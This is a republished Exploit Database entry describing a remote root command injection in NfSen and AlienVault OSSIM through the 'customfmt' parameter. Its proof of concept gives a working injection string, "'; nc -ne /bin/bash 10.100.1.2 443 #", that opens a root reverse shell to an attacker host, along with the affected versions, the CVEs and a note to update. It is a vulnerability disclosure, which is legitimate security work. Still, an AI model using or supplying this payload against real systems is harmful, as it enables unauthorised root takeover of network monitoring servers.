NfSen < 1.3.7 / AlienVault OSSIM 4.3.1 - 'customfmt' Command Injection

• Exploit Database
• 29 阅读

• 作者： Paul Taylor
  日期： 2017-07-11
• 类别：

  • webapps
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/42314/

• # Exploit Title: NfSen/AlienVault remote root exploit (command injection in customfmt parameter)
  # Version: NfSen 1.3.6p1, 1.3.7 and 1.3.7-1~bpo80+1_all. Previous versions are also likely to be affected.
  # Version: AlienVault USM/OSSIM < 4.3.1
  # Date: 2017-07-10
  # Vendor Homepage: http://nfsen.sourceforge.net/
  # Vendor Homepage: http://www.alienvault.com/
  # Software Link: https://sourceforge.net/projects/nfsen/files/stable/nfsen-1.3.7/nfsen-1.3.7.tar.gz/download
  # Exploit Author: Paul Taylor / Foregenix Ltd
  # Website: http://www.foregenix.com/blog
  # Tested on: NfSen 1.3.7
  # CVE: CVE-2017-7175, CVE-2017-6972
  
  1. Description
  
  A remote authenticated attacker (or an attacker with a stolen PHP Session ID) can gain complete control over the system by sending a crafted request with shell commands which will be executed as root on a vulnerable system. The injection is covered by CVE-2017-7175, and the commands are executed as root due to CVE-2017-6972.
  
  2. Proof of Concept
  
  
  For a reverse shell to attacking machine 10.100.1.2, on the NfSen / AlienVault netflow processing web page, enter the following into the "Custom output format:" input box:
  
  '; nc -ne /bin/bash 10.100.1.2 443 #
  
  If nc is not installed on the target, then alternative attacks are likely to be possible to leverage the vulnerability.
  
  3. Solution:
  
  Update to latest version of NfSen/USM/OSSIM